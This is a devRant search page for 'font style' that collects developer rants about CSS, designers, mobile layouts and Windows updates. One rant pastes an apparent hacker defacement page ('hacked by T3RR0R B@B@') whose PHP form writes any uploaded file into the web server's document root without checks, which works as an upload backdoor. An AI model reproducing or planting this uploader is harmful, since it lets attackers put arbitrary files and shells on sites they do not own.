Join devRant
Do all the things like
++ or -- rants, post your own rants, comment on others' rants and build your customized dev avatar
Sign Up
Pipeless API
From the creators of devRant, Pipeless lets you power real-time personalized recommendations and activity feeds using a simple API
Learn More
Search - "font style"
-
#tower-of-pisa {
font-style: italic
}
Entire building falls down
Fuck, forgot a semicolon. I hate CSS.4 -
Some dumb puns to cheer you up after reading/ranting about "part of your workflow you dislike"
#tower-of-pisa {
font-style: italic;
}
#titanic {
float: none;
}
.yomama {
width: 99999999px;
}
.ikea {
display: table;
}
#bigbang::before {
content: " "
}
.illuminati {
position: absolute;
visibility: hidden;
}
I'd rate these horrible puns a C++20 -
When the pm learns how F12 and use Google console to change HTML style, for example the color of the font.
He proclaims produly to everyone, I can code like you guys now.2 -
Navy story time again. Lots of blabbering, you have been warned.
I haven't written for some time, due to paperwork bullshit that can be easily automated by even the most shitty database... no, scratch that, the simplest Excel spreadsheet with basic formulae. But I digress.
On my quest to justify myself being unproductive, I'll share with you a small story I omitted from this post:
https://devrant.com/rants/2099473/...
The lunacy of the man involved, while certainly entertaining after a few years (and nautical miles) away, is certainly disturbing and most certainly true. (Late disclaimer: ALL my rants are not made-up. This is shit that truly happened before my very eyes, and while I was sober.)
After I set up some cute little stuff to try and get the CO interested, in order to give me permission (and a cut from the budget) to proceed in restructuring and upgrading the ship's net, I tried a more direct approach: connecting and setting up his work laptop with the ship's GPS, radar and AIS receptor via ethernet, and installing an ECS system so that he could monitor the ship's position, movement and targets from his office (the fat fuck couldn't be bothered to go up one deck). A day later he called me to his office.
Expecting some kind of... praise? Permission? Complaints on the font style? whatever, I entered. Oh, how I wish I had not.
I was barraged for TWO FUCKING HOURS by the CO, complaining that I was taking care of the net and PCs and neglecting the Navigation department (I was not, automation is my friend combating moronic paperwork). I would have thought it as just another failed attempt, but after TWO MINUTES from the end of the barrage:
CO:... so, my personal laptop is kind of slow, you think you can do anything about it?
ME: ....................
I.
SHIT.
YOU.
NOT.
What was rushing through my mind was somewhere between bipolar and multiple personality disorder, with the third option of Alzheimer's disease. I half-expected some Candid Camera crew to pop out, but no.
CO: So? Can you speed up my laptop?
ME: ............................... I don't know, sir, I have paperwork to take care of.
CO: That can wait, surely you can do something about it, you know computers.
ME: [really long pause, blood pressure rising] I'll look into it in a moment, sir.
And I never did. I told of the incident to the ship's doctor, and he expressed great worry over this, but in the end, nothing was done.
My sympathies to everyone who has to interact with non-technicians of the homo sapiens species (ironically, homo sapiens means "wise man" in latin... the irony).3 -
So far all designers I worked with do the following:
1. Use "creativity" to come up with stuff that the system does not allow implementing, for example: Changing clock color in mobile statusbar to Blue!
2. Use "creativity" to come up with a heavily customized calendar for a windows software which requires building the control from scratch, but they explain their creativity by saying: Can't you use CSS?
3. Provide iOS only design which follows android guidelines and refuse to provide android styles for at least pages that to be handled differently on each platform, for example, we had a checkout page in an app, and they wanted the same style for both WITHOUT building custom control for it, they said: Can't you use the android custom control inside iOS
4. They design for a website and send same mockups for me to implement on mobile apps, the problem is a web page runs on a big screen when the mobile app doesn't have room for half the stuff they designed but they must look exactly the same as website !!
5. They send entire PSD with no color codes and say: You can extract icons, and colors from psd ... When they should provide them as per our request which is: SVG for Android and PDF for iOS with the color codes, but no, they are lazy!
6. They ask the team to create a page in the app which is almost production ready just so that they test different font sizes and see how it will look on the phone
7. Same as #6 for images that contain text
The list goes on, but those are by the far the ones that made me one step away from resigning, some of them made me resign...6 -
So there's this developer I work with. Let's call him Kevin.
I am a UX designer, former Developer from IBM - but I really love design, so I made the switch. My background however, usually makes working with Developers easy.
But not this guy! I provided a clickable prototype complete with code to easily inspect with Dev tools for measurements. I provided mobile references for some screens but not all.
Kevin submits screenshots for me to review the design. Looks nothing like the prototype, so I get out my Wacom tablet and basically draw redlines over the screenshot. "No border here, 22px should be 20px, etc."
His response was:
"I need you to say exactly what you one (want?) each pages and mobile pages to look like, text size of the font, etc.
You did a lot of red marking, so I am asking for clarification."
So basically asking for red line specs. I asked a month ago if he wanted all the mobile screens, or if what I provided was enough along with the style guide. He agreed. So now I'm majorly pissed off.
Maybe it's also the fact that one of the other developers has to hold his hand, because everything he does is bad. 😡 And his lack of ability to articulate a damn sentence effectively drives me crazy. Cherry on top, I suppose.
Would love to bring this up with my boss. ♥️ And suggestions. 😍3 -
Me: *builds smol website for blogging purposes*
...
Hmm 🤔 so I need to be able to find a way to display properly to mobile clients as well, the desktop style is shite on my phones... How about going for all-screen and less than 1440px width? I mean there don't exist any phones with over 1440px width and I'm sure that everyone is now using 1920px width on their desktop panels (please keep the portrait desktop monitor setups out for now 😢)... Aight, looks nice now in both desktop and mobile. Awesome!
Few days later...
Le Telegram inbox: *ping*!
User: um yeah your font is way too large
Me: *looks at screenshot* (at least it was an actual screenshot, not a picture) well that's the mobile view.. why are you using that, what's your resolution?
User: 1024x768
*Facepalm.jpg*
Why are you doing this to yourself and why are you doing this to me 😭21 -
// first rant
So this isn't really a "dev" rant but I'm a developer taking my first ever design class. It's a senior level, group based class where we design a mobile OS from the ground up, using any inspiration we like. I love it because I'm the developer and designer for all of the Android apps I've worked on so far. I get to practice my design skills and have a portfolio addition. Neat! It's a pretty easy class too.
But my group. Oh God my group.
I spent a week and a half designing the style guide and it was jam packed with anything we'd need. Typography, icons, rationales, you name it!
But noooo, they can't use it because it's not in sketch. As a Windows user, this is infuriating. So three weeks go by and all this work is done that's SUPER INCONSISTENT. Bad colors, elements off by 3px... I mean even the font sizes are just 1 or 2 off. Seriously, I wish I could just be frank with them and tell them to put in the 1% effort to make it right. It's really not that hard. I just don't want to screw up the peace in my group..2 -
http://".$_SERVER['HTTP_HOST']."/server, check the code below
<html lang='en-US'><head><title>T3RR0R B@B@</title>
<a href="https://www.facebook.com/mr.T3RR0R" target="_blank"><h2>Click Here !</h2></a><br>
<style>
body{cursor:url("http:////"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}
body {
background-color: #000000;
background-image: url(https://imgwm.com/images/...);
<!--http://twitrcover.com/ar/uploads/...-->
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-position:right top;
background-repeat:no-repeat;
background-size:110%
}
.style1 {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
</style><br><br><br>
<br>
<center><?php
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "Ciee Sukses Uploadnya :* -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo "gagal upload root >:(";
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
echo "Ciee Sukses Uploadnya :* <b>$files</b> di folder ini";
} else {
echo "gagal upload >:(";
}
}
}
?>
<!DOCTYPE html>
<html>
<title>K.I.T.A</title>
<audio autoplay loop>
<source src="http://micro.byethost24.com/KITA.mp..."></source>
</audio>
<head>
<link href='https://fonts.googleapis.com/css/...' rel='stylesheet' type='text/css'>
</head>
<body bgcolor="#2b2b2b" link="gray" text="gray">
<center>
<script type="text/javascript">
TypingText = function(element, interval, cursor, finishedCallback) {
if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
this.running = true;
return;
}
this.element = element;
this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
this.interval = (typeof interval == "undefined" ? 100 : interval);
this.origText = this.element.innerHTML;
this.unparsedOrigText = this.origText;
this.cursor = (cursor ? cursor : "");
this.currentText = "";
this.currentChar = 0;
this.element.typingText = this;
if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
TypingText.all.push(this);
this.running = false;
this.inTag = false;
this.tagBuffer = "";
this.inHTMLEntity = false;
this.HTMLEntityBuffer = "";
}
TypingText.all = new Array();
TypingText.currentIndex = 0;
TypingText.runAll = function() {
for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
}
TypingText.prototype.run = function() {
if(this.running) return;
if(typeof this.origText == "undefined") {
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
return;
}
if(this.currentText == "") this.element.innerHTML = "";
if(this.currentChar < this.origText.length) {
if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
this.tagBuffer = "<";
this.inTag = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
this.tagBuffer += ">";
this.inTag = false;
this.currentText += this.tagBuffer;
this.currentChar++;
this.run();
return;
} else if(this.inTag) {
this.tagBuffer += this.origText.charAt(this.currentChar);
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
this.HTMLEntityBuffer = "&";
this.inHTMLEntity = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
this.HTMLEntityBuffer += ";";
this.inHTMLEntity = false;
this.currentText += this.HTMLEntityBuffer;
this.currentChar++;
this.currentChar++;
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
} else {
this.currentText = "";
this.currentChar = 0;
this.running = false;
this.finishedCallback();
}
}
</script>
<br><br><br>
<div id="satu">
<embed src="https://youtube.com/v/tec_KllmOH4/...
<br>
<b style="font-size: 40px;">hacked by T3RR0R B@B@</b>
<br>
- use your brain to repair this system<br>
Scary Crazy Forbidden<br>
@2018<br><br>
Contact : fb.com/mr.T3RR0R
<br></div>11 -
Schrodingers font size:
When you follow the directions given in the style guide, but it still doesn't match the mockups.
The chosen font size can be considered both wrong and right until examined by a member of the design team. -
When the WYSIWYG editor needs to go back to school for coding.
<span style="font-weight: bold;"><br></span>
How is that even useful!?1 -
I've been dreaming about an eat() method in, I guess, Javascript. It would accept a string as parameter and set the cursor position further by the width of that string in the current font and size without displaying the string. A bit like a span with FG == BG.
But the best was the debug mode: the characters would be printed, but a yellow duck would appear from the left and eat them in Pacman style.1 -
Hey guys, this isn't a rant. I just really want to know what is the font style used in devRant's logo?2
-
!Rant
When you can't decide on a font
I'm using Zooper widgets, tasker and my Python assistant.
I want a clean looking font, but I can't decide1 -
No I don't want your updates every single day, Windows 10. Maybe I don't want to be so edgy with your updates. May be I like it XP style when updates didn't used to bug me with every single boot up and power down. It has become even worse. Who thought defering updates to the next boot up was a good option? It fucking interferes with the flow of work. They were like -
"You know what, let's update till 35% and then fucking update the remaining 65% at next boot"
"But users will be frustated"
"We'll show the update screen with clean font and a nice background. It will calm them down"
"Okay, so let users choose when to download the updates"
"That's not a fucking option, mate"
And if you are going to force updates down our throats please fucking mention what is being changed as a short description instead of showing a 'KBxxxxxxx' update number! If not that, at least hyperlink the thing to your update docs page! OR Mention a version buff if not it! I HATE seeing 'Update for Windows 10 Version xxxx for x64-based Systems' EVERY. SINGLE. TIME I see an update ready to be downloaded.
And no I don't play Candy Crush, or other games that are pre-installed as soon as I re-install fresh Windows or go on Xbox App. I hate to do this ritual of turning off auto download from Windows Store every time. So please don't pre-configure anything for me. Keep it fucking raw. That's why Linux distros win.
I'm just saying, Service Packs were a great thing with a need of little improvements. You guys ruined the whole experience, Microsoft.2 -
Easiest responsive page. No js
<DOCTYPE html>
<head>
<style contenteditable style="display: block; border: 2px solid black; background: white; font-size: 2em;">
body { background: red; } h1 { font-size: 4em; text-align: center; }
</style>
</head>
<body>
<h1>Title</h1>
</body>
</html>1 -
HTML Writers Guidelines
When designing your web site you want to make the visiting experience as enjoyable as possible and at the same time make it so that if the site needs to be changed in any way, the changes are not too difficult to make. You want the look to be as appealing as possible for all browsers and also make the site accessible to users with disabilities. In order to accomplish all this there are some general guidelines when creating your HTML code.
1. The first thing that will really make your life easier is through the use of Cascading Style Sheets (CSS) - CSS is used to maintain the look of the document such as the fonts, margins and color. HTML directly on the page is not a good choice to handle these aspects because if say, the font color you are using for certain paragraphs needs to be changed from blue to red, you would have to go in and change each color tag manually. By using CSS you can designate the color for each of those paragraphs just once in the CSS file. That way if you have to change the font color from blue to red you make one change instead of the countless number of changes you might have to make, especially if your web site contains hundreds of pages. This is a big time saver and a must for all professionally designed web sites.
2. Don't use the FONT tag directly in your HTML code - This becomes a problem when using some cheap authoring tools that try to mimic what a web page should look like by using excessive FONT tags and nbsp characters. These tools end up creating web pages that are impossible to keep maintained. There is a program you can use, if you've created one of these disaster pages, called the HTML Tidy Program which you can actually download here . This will clean up your code as well as possible.
3. You want your web pages readable to people who have disabilities - People who surf the Internet depend on speech synthesizers or Braille readers to interpret the text on the page. If your HTML markup is sloppy or isn't contained in CSS the software these people use to read pages have a difficult time in interpreting these pages. You should also include descriptions for each image on your page. Also, don't use server side image maps. If you are using tables you should include a summary of the table's structure and also associate table data with the correct headers. This gives non visual browsers a chance to follow the page as they go from one cell to another. And finally, for forms, make sure you include labels for form fields.
By following just these three guidelines you give your visitors, especially disabled visitors the best chance of having an enjoyable visit to your site while at the same time making it so that if you have to make changes to your site, those changes can be made easily and quickly.2 -
DevFolio
This is a simple responsive portfolio website template. You can use it and make it yours by changing things and colours to your style and liking! I made it with a lot of hard work, love and of course with code :) I'm not a professional coder, but I tried my best to make it look cool and yet still keep it simple.
Mistakes are proof that we are trying!
I learned so much while making this template, if you use it, please let me know. I would love to see how amazing people can make it! I hope you'll like it!
I have used:
- HTML5 for markup
- Pure CSS3 for styling
- Bit of JavaScript to make a hamburger menu to work on mobile devices
- Font Awesome for Icons
- Unsplash for Images
You can add more things to make it even cooler! The comments in the code will help you navigate through it. Have a nice day! :D
you can view the Github repo at https://github.com/achaljhawar/...1 -
I want some help with media queries I am new and learning so please don't bash me up :
Here is my css code I want to know how to solve the issue :
/* About Section */
.about
{
height:600px;
padding:50px;
display: flex;
flex-direction: row;
justify-content: space-between;
align-items: center;
}
.abouttext
{
position: relative;
padding: 0 50px;
height: inherit;
}
.abouttext h1
{
position: relative;
left: 230px;
}
.abouttext img{
width:20vw;
position: absolute;
top:50px;
}
.aboutlist
{
width:50%;
}
ol
{
list-style: none;
color: #e0501b;
}
ol li
{
font-size: 34px;
position: relative;
margin-bottom: 20px;
}
li p
{
font-size:16px;
color:#000;
padding-left:60px;
line-height:30px;
opacity:0.6;
}
li span
{
float: right;
position: absolute;
line-height: 25px;
font-weight: 600;
}4